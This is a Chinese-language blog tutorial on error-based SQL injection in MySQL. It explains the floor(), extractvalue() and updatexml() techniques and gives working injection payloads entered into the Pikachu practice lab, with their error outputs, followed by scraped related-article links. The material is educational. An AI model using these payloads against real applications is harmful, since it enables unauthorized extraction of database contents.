SQL注入之报错注入
SQL注入之报错注入
一、报错注入原理
报错注入的原理基于应用程序在处理数据库查询时产生的错误信息。当应用程序执行一个含有恶意SQL代码的查询时,如果查询出错(例如,由于语法错误或权限不足),数据库系统通常会返回一个错误信息给应用程序。这个错误信息可能会包含有关数据库结构的敏感信息,如数据库名称、表名、列名等。攻击者可以利用这些信息来进一步构建更复杂的SQL注入攻击,以获取更多的数据库内容。
二、报错注入方法
报错注入的方法多种多样,常见的有以下几种:
① floor()报错注入
注:floor报错注入在MySQL版本8.0中已失效。
原理
通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。
常见语句
SELECT COUNT(*),CONCAT((SELECT USER()),FLOOR(RAND(0)*2)) AS a FROM information_schema.tables GROUP BY a;
-- 结果: ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'
- floor函数:返回小于等于括号内该值的最大整数。
- rand函数:随机产生一个在0和1之间的小数。
rand(0)中的0是固定的随机数的种子0,也就是说每次随机值是固定的;floor(rand(0)*2))则会伪随机0或1。 - count函数:用于统计记录的数量
- group by:用于分组
为什么查询语句会报错ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'呢?
实际上该语句在查询过程中会产生虚拟表,在插入虚拟表的过程中,因为插入了一个重复的值,所以就会抛出主键冗余的异常。具体原因可查看Mysql报错注入之函数分析
② extractvalue()报错注入
注:extractvalue报错适用于MySQL 5.1.5+ 版本
原理
通过在extractvalue函数的第二个参数注入一个无效的Xpath表达式,导致函数报错,从而获取数据。
常见语句
SELECT EXTRACTVALUE(RAND(),CONCAT(0x7e,(SELECT USER()),0x7e));
-- 结果: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
- extractvalue函数:
extractvalue(xml_frag, xpath_expr),xml_frag是XML片段,xpath_expr是Xpath表达式。 - concat函数:字符串拼接函数。
③ updatexml()报错注入
注:updatexml报错适用于MySQL 5.1.5+ 版本
原理
通过在updatexml函数的第二个参数注入不符合Xpath语法的表达式,从而引起数据库报错,并通过错误信息获取数据。
常见语句
SELECT UPDATEXML('x',CONCAT('~',(SELECT USER()),'~'),'x');
-- 结果: ERROR 1105 (HY000): XPATH syntax error: '~oot@localhost~'
- updatexml函数:
updatexml(xml_document, XPath_string, new_value),xml_document是XML文档对象,XPath_string是Xpath路径表达式,new_value是更新后的内容。 - concat函数:字符串拼接函数。
④ 其他报错注入
除了上述常见的报错函数外,还有其他一些函数(如exp()、join等)也可以用于报错注入。这些函数在特定条件下可以触发数据库错误,从而泄露敏感信息。
三、报错注入实例
① floor()实例
在Pikachu中,进行实践。在输入框输入:1' union select count(*),1,concat((select user()),floor(rand(0)*2))as a from information_schema.tables group by a #

结果: Duplicate entry 'root@localhost1' for key 'group_key'

② extractvalue()实例
在Pikachu中,进行实践。在输入框输入:1' and (select extractvalue(rand(),concat(0x7e,(select user())))) #

结果: XPATH syntax error: '~root@localhost'

③ updatexml()实例
在Pikachu中,进行实践。在输入框输入:1' and updatexml('x',concat('~',(select user()),'~'),'x') #

结果: XPATH syntax error: '~root@localhost~'

SQL注入之报错注入的更多相关文章
- sql注入之报错注入and boolean注入
1.sql注入之报错注入 正常传参,返回页面正常: 加入' 返回页面报错,出现"zhangsan"' 报错注入使用的函数 在这里我们使用 select updatexml(1,c ...
- [sql 注入] insert 报错注入与延时盲注
insert注入的技巧在于如何在一个字段值内构造闭合. insert 报错注入 演示案例所用的表: MariaDB [mysql]> desc test; +--------+--------- ...
- 实验吧——加了料的报错注入(exp报错注入)
题目地址:http://ctf5.shiyanbar.com/web/baocuo/index.php 先查看页面源码得到提示知道了后台执行的sql语句,很常规的查询 测试了一个报错函数发现如下回显, ...
- SQL注入之报错注入常见函数
- 渗透之路基础 -- SQL进阶(盲注和报错注入)
SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...
- SQL注入--盲注及报错注入
盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根 ...
- SQL注入之MySQL报错注入整理
看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子 <代码审计:企业级Web代码安全架构>一书中介绍过报错注入十大方法,依次是: ...
- CTF-sql-group by报错注入
本文章主要涉及group by报错注入的原理讲解,如有错误,望指出.(附有目录,如需查看请点右下角) 一.下图为本次文章所使用到 user表,该表所在的数据库为 test 二.首先介绍一下本文章所使用 ...
- Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]
在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1 SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可 ...
- sql注入--双查询报错注入
sql注入--双查询报错注入 背景:在sqli-labs第五关时,即使sql语句构造成功页面也没有回显出我们需要的信息,看到了有使用双查询操作造成报错的方式获得数据库信息,于是研究了一下双查询的报错原 ...
随机推荐
- Sublime之快捷操作
列举常用的Sublime操作,涉及操作 1.每行默认需要统一添加逗号 1)全选 ctrl + a 2) 组合键 ctrl + shift + l 即可进行操作 (这里是L哦) 之后也可以使用HOME键 ...
- Laravel环境搭建之HomeStead
开发laravel,官方推荐使用HomeStead虚拟环境进行搭建. Linux: 1. 安装virtualbox(https://www.virtualbox.org/) 1)可以找到可供下载的镜像 ...
- msde2000的关于无法访问lonle实例的master数据库恢复
某次关机重启后,lonele数据库实例无法访问,查看发现相应的服务(MSSQL$LONELE2.SQLAgent$LONELE2)无法启动. --------------------------- 服 ...
- Jenkis 简单介绍—持续集成、持续交付的工具
Jenkis是什么? 首先是一款持续集成.持续交付的工具. Jenkis的思想是自动化部署:当我们向版本库提交最新的代码后,应用服务器(tomcat)就会自动从Git / svn上拉取最新的包,再重新 ...
- PCA主成分分析的Python实现
技术背景 PCA主成分分析在数据处理和降维中经常被使用到,是一个非常经典的降维算法,本文提供一个PCA降维的流程分解,和对应的Python代码实现. 二维数据生成 如果没有自己的测试数据,我们可以生成 ...
- AlainConfig
核心配置对象. 一个配置对象 AlainConfig, 它有一个默认的 一个配置服务:AlainConfigService https://github.com/ng-alain/delon/blob ...
- C#中 CancellationTokenSource的妙用
在.NET中,CancellationTokenSource.CancellationToken和Task是处理异步操作和取消任务的重要工具.本文将通过一些简单的例子,帮助你理解它们的用法和协作方式. ...
- 【转载】Spring Cloud Gateway-路由谓词工厂详解(Route Predicate Factories)
http://www.imooc.com/article/290804 TIPS 本文基于Spring Cloud Greenwich SR2编写,兼容Spring Cloud Finchley及更高 ...
- 鸿蒙OS高级技巧:打造个性化动态Swiper效果
前言 在鸿蒙OS的广阔天地中,开发者们有机会创造出令人惊叹的用户体验.最近,我着手设计一款具有独特滑动效果的Swiper组件,它在滑动时能够迅速进入视野,同时巧妙地将旧的cell隐藏到视线之外.本文将 ...
- Mac系统Obsidian和Typora更换霞鹜文楷字体
在github上发现了一款非常好看的字体LXGW WenKai / 霞鹜文楷,这里记录下Mac电脑如何安装这个字体,以及我用到的笔记软件更换字体的过程. Mac安装字体 # 增加代理,不加代理下载速度 ...